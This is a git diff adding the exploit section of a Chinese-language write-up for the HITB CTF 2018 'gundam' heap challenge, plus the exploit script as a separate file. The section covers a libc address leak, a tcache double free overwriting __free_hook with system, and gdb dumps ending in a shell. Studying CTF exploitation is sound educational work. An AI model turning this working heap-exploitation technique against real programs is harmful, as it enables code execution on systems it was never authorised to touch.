diff --git a/doc/6.1.19_pwn_hitbctf2018_gundam.md b/doc/6.1.19_pwn_hitbctf2018_gundam.md index dabfcb1..4adb0a2 100644 --- a/doc/6.1.19_pwn_hitbctf2018_gundam.md +++ b/doc/6.1.19_pwn_hitbctf2018_gundam.md @@ -19,7 +19,7 @@ $ strings libc.so.6 | grep "GNU C" GNU C Library (Ubuntu GLIBC 2.26-0ubuntu2.1) stable release version 2.26, by Roland McGrath et al. Compiled by GNU CC version 6.4.0 20171010. ``` -保护全开。libc 版本 2.26,所以应该还是考察 tcache(参考章节4.14)。 +保护全开,也默认 ASLR 开。libc 版本 2.26,所以应该还是考察 tcache(参考章节4.14)。 玩一下: ``` @@ -315,7 +315,7 @@ struct gundam *factory[9]; ``` 另外 gundam->name 指向一块 0x100 大小的空间。gundam 的数量存放在 `0x0020208c`。 -从读入 name 的操作中我们发现,程序并没有在末尾设置 '\x00',可能导致信息泄漏。 +从读入 name 的操作中我们发现,程序并没有在末尾设置 '\x00',可能导致信息泄漏(以'\x0a'结尾)。 #### Visit gundams ``` @@ -537,6 +537,229 @@ struct gundam *factory[9]; ## Exploit +所以利用过程如下: +1. 利用被放入 unsorted bin 的 chunk 泄漏 libc 基址,可以计算出 `__free_hook` 和 `system` 的地址。 +2. 利用 double free,将 `__free_hook` 修改为 `system`。 +3. 当调用 `free` 的时候就会调用 `system`,获得 shell。 + +#### leak +```python +def leak(): + global __free_hook_addr + global system_addr + + for i in range(9): + build('A'*7) + for i in range(7): + destroy(i) # tcache bin + destroy(7) # unsorted bin + + blow_up() + for i in range(8): + build('A'*7) + + visit() + leak = u64(io.recvuntil("Type[7]", drop=True)[-6:].ljust(8, '\x00')) + libc_base = leak - 0x3dac78 # 0x3dac78 = libc_base - leak + __free_hook_addr = libc_base + libc.symbols['__free_hook'] + system_addr = libc_base + libc.symbols['system'] + + log.info("libc base: 0x%x" % libc_base) + log.info("__free_hook address: 0x%x" % __free_hook_addr) + log.info("system address: 0x%x" % system_addr) +``` + +chunk 被放进 unsorted bin 时: +``` +gdb-peda$ vmmap heap +Start End Perm Name +0x0000555555757000 0x0000555555778000 rw-p [heap] +gdb-peda$ x/30gx 0x0000555555757000+0x10 +0x555555757010: 0x0000000000000000 0x0700000000000000 <-- counts +0x555555757020: 0x0000000000000000 0x0000000000000000 +0x555555757030: 0x0000000000000000 0x0000000000000000 +0x555555757040: 0x0000000000000000 0x0000000000000000 +0x555555757050: 0x0000000000000000 0x0000000000000000 +0x555555757060: 0x0000000000000000 0x0000000000000000 +0x555555757070: 0x0000000000000000 0x0000000000000000 +0x555555757080: 0x0000000000000000 0x0000000000000000 +0x555555757090: 0x0000000000000000 0x0000000000000000 +0x5555557570a0: 0x0000000000000000 0x0000000000000000 +0x5555557570b0: 0x0000000000000000 0x0000000000000000 +0x5555557570c0: 0x0000000000000000 0x0000555555757a10 <-- entries +0x5555557570d0: 0x0000000000000000 0x0000000000000000 +0x5555557570e0: 0x0000000000000000 0x0000000000000000 +0x5555557570f0: 0x0000000000000000 0x0000000000000000 +gdb-peda$ x/6gx 0x555555757b50-0x10 +0x555555757b40: 0x0000000000000000 0x0000000000000111 +0x555555757b50: 0x00007ffff7dd2c78 0x00007ffff7dd2c78 <-- unsorted bin +0x555555757b60: 0x0000000000000000 0x0000000000000000 +gdb-peda$ vmmap libc +Start End Perm Name +0x00007ffff79f8000 0x00007ffff7bce000 r-xp /home/firmy/gundam/libc.so.6 +0x00007ffff7bce000 0x00007ffff7dce000 ---p /home/firmy/gundam/libc.so.6 +0x00007ffff7dce000 0x00007ffff7dd2000 r--p /home/firmy/gundam/libc.so.6 +0x00007ffff7dd2000 0x00007ffff7dd4000 rw-p /home/firmy/gundam/libc.so.6 +gdb-peda$ p 0x00007ffff7dd2c78 - 0x00007ffff79f8000 +$1 = 0x3dac78 +``` +可以看到对应的 tcache bin 中已经放满了 7 个 chunk,所以第 8 块 chunk 被放进了 unsorted bin。 + +再次 malloc 之后: +``` +gdb-peda$ x/6gx 0x555555757b50-0x10 +0x555555757b40: 0x0000000000000000 0x0000000000000111 +0x555555757b50: 0x0a41414141414141 0x00007ffff7dd2c78 +0x555555757b60: 0x0000000000000000 0x0000000000000000 +``` +可以看到程序并没有在字符串后加 '\x00' 隔断,所以可以将 unsorted bin 的地址泄漏出来,然后通过计算得到 libc 基址。 + +``` +[*] libc base: 0x7ffff79f8000 +[*] __free_hook address: 0x7ffff7dd48a8 +[*] system address: 0x7ffff7a3fdc0 +``` + +#### overwrite +```python +def overwrite(): + destroy(2) + destroy(1) + destroy(0) + destroy(0) # double free + + blow_up() + build(p64(__free_hook_addr)) # 0 + build('/bin/sh\x00') # 1 + build(p64(system_addr)) # 2 +``` + +触发 double free 时: +``` +gdb-peda$ x/30gx 0x0000555555757000+0x10 +0x555555757010: 0x0000000000000000 0x0400000000000000 <-- counts +0x555555757020: 0x0000000000000000 0x0000000000000000 +0x555555757030: 0x0000000000000000 0x0000000000000000 +0x555555757040: 0x0000000000000000 0x0000000000000000 +0x555555757050: 0x0000000000000000 0x0000000000000000 +0x555555757060: 0x0000000000000000 0x0000000000000000 +0x555555757070: 0x0000000000000000 0x0000000000000000 +0x555555757080: 0x0000000000000000 0x0000000000000000 +0x555555757090: 0x0000000000000000 0x0000000000000000 +0x5555557570a0: 0x0000000000000000 0x0000000000000000 +0x5555557570b0: 0x0000000000000000 0x0000000000000000 +0x5555557570c0: 0x0000000000000000 0x0000555555757a10 <-- entries +0x5555557570d0: 0x0000000000000000 0x0000000000000000 +0x5555557570e0: 0x0000000000000000 0x0000000000000000 +0x5555557570f0: 0x0000000000000000 0x0000000000000000 +gdb-peda$ x/6gx 0x0000555555757a10-0x10 +0x555555757a00: 0x0000000000000000 0x0000000000000111 +0x555555757a10: 0x0000555555757a10 0x0000000000000000 <-- fd pointer +0x555555757a20: 0x0000000000000000 0x0000000000000000 +``` +其 fd 指针指向了它自己。 + +接下来的 malloc 将改写 `__free_hook` 的地址: +``` +gdb-peda$ x/6gx 0x0000555555757a10-0x10 +0x555555757a00: 0x0000000000000000 0x0000000000000111 +0x555555757a10: 0x0068732f6e69622f 0x000000000000000a +0x555555757a20: 0x0000000000000000 0x0000000000000000 +gdb-peda$ x/gx 0x00007ffff7dd48a8 +0x7ffff7dd48a8 <__free_hook>: 0x00007ffff7a3fdc0 +gdb-peda$ p system +$2 = {} 0x7ffff7a3fdc0 +``` + +#### pwn +```python +def pwn(): + destroy(1) + io.interactive() +``` + +Bingo!!! +``` +$ python exp.py +[+] Starting local process './gundam': pid 7264 +[*] Switching to interactive mode +$ whoami +firmy +``` + +#### exp +完整的 exp 如下: +```python +#!/usr/bin/env python + +from pwn import * + +#context.log_level = 'debug' + +io = process(['./gundam'], env={'LD_PRELOAD':'./libc.so.6'}) +#elf = ELF('gundam') +libc = ELF('libc.so.6') + +def build(name): + io.sendlineafter("choice : ", '1') + io.sendlineafter("gundam :", name) + io.sendlineafter("gundam :", '0') + +def visit(): + io.sendlineafter("choice : ", '2') + +def destroy(idx): + io.sendlineafter("choice : ", '3') + io.sendlineafter("Destory:", str(idx)) + +def blow_up(): + io.sendlineafter("choice : ", '4') + +def leak(): + global __free_hook_addr + global system_addr + + for i in range(9): + build('A'*7) + for i in range(7): + destroy(i) # tcache bin + destroy(7) # unsorted bin + + blow_up() + for i in range(8): + build('A'*7) + + visit() + leak = u64(io.recvuntil("Type[7]", drop=True)[-6:].ljust(8, '\x00')) + libc_base = leak - 0x3dac78 # 0x3dac78 = libc_base - leak + __free_hook_addr = libc_base + libc.symbols['__free_hook'] + system_addr = libc_base + libc.symbols['system'] + + log.info("libc base: 0x%x" % libc_base) + log.info("__free_hook address: 0x%x" % __free_hook_addr) + log.info("system address: 0x%x" % system_addr) + +def overwrite(): + destroy(2) + destroy(1) + destroy(0) + destroy(0) # double free + + blow_up() + build(p64(__free_hook_addr)) # 0 + build('/bin/sh\x00') # 1 + build(p64(system_addr)) # 2 + +def pwn(): + destroy(1) + io.interactive() + +if __name__ == "__main__": + leak() + overwrite() + pwn() +``` + ## 参考资料 - https://ctftime.org/task/5924 diff --git a/src/writeup/6.1.19_pwn_hitbctf2018_gundam/exp.py b/src/writeup/6.1.19_pwn_hitbctf2018_gundam/exp.py new file mode 100644 index 0000000..ccb9693 --- /dev/null +++ b/src/writeup/6.1.19_pwn_hitbctf2018_gundam/exp.py @@ -0,0 +1,68 @@ +#!/usr/bin/env python + +from pwn import * + +#context.log_level = 'debug' + +io = process(['./gundam'], env={'LD_PRELOAD':'./libc.so.6'}) +#elf = ELF('gundam') +libc = ELF('libc.so.6') + +def build(name): + io.sendlineafter("choice : ", '1') + io.sendlineafter("gundam :", name) + io.sendlineafter("gundam :", '0') + +def visit(): + io.sendlineafter("choice : ", '2') + +def destroy(idx): + io.sendlineafter("choice : ", '3') + io.sendlineafter("Destory:", str(idx)) + +def blow_up(): + io.sendlineafter("choice : ", '4') + +def leak(): + global __free_hook_addr + global system_addr + + for i in range(9): + build('A'*7) + for i in range(7): + destroy(i) # tcache bin + destroy(7) # unsorted bin + + blow_up() + for i in range(8): + build('A'*7) + + visit() + leak = u64(io.recvuntil("Type[7]", drop=True)[-6:].ljust(8, '\x00')) + libc_base = leak - 0x3dac78 # 0x3dac78 = libc_base - leak + __free_hook_addr = libc_base + libc.symbols['__free_hook'] + system_addr = libc_base + libc.symbols['system'] + + log.info("libc base: 0x%x" % libc_base) + log.info("__free_hook address: 0x%x" % __free_hook_addr) + log.info("system address: 0x%x" % system_addr) + +def overwrite(): + destroy(2) + destroy(1) + destroy(0) + destroy(0) # double free + + blow_up() + build(p64(__free_hook_addr)) # 0 + build('/bin/sh\x00') # 1 + build(p64(system_addr)) # 2 + +def pwn(): + destroy(1) + io.interactive() + +if __name__ == "__main__": + leak() + overwrite() + pwn()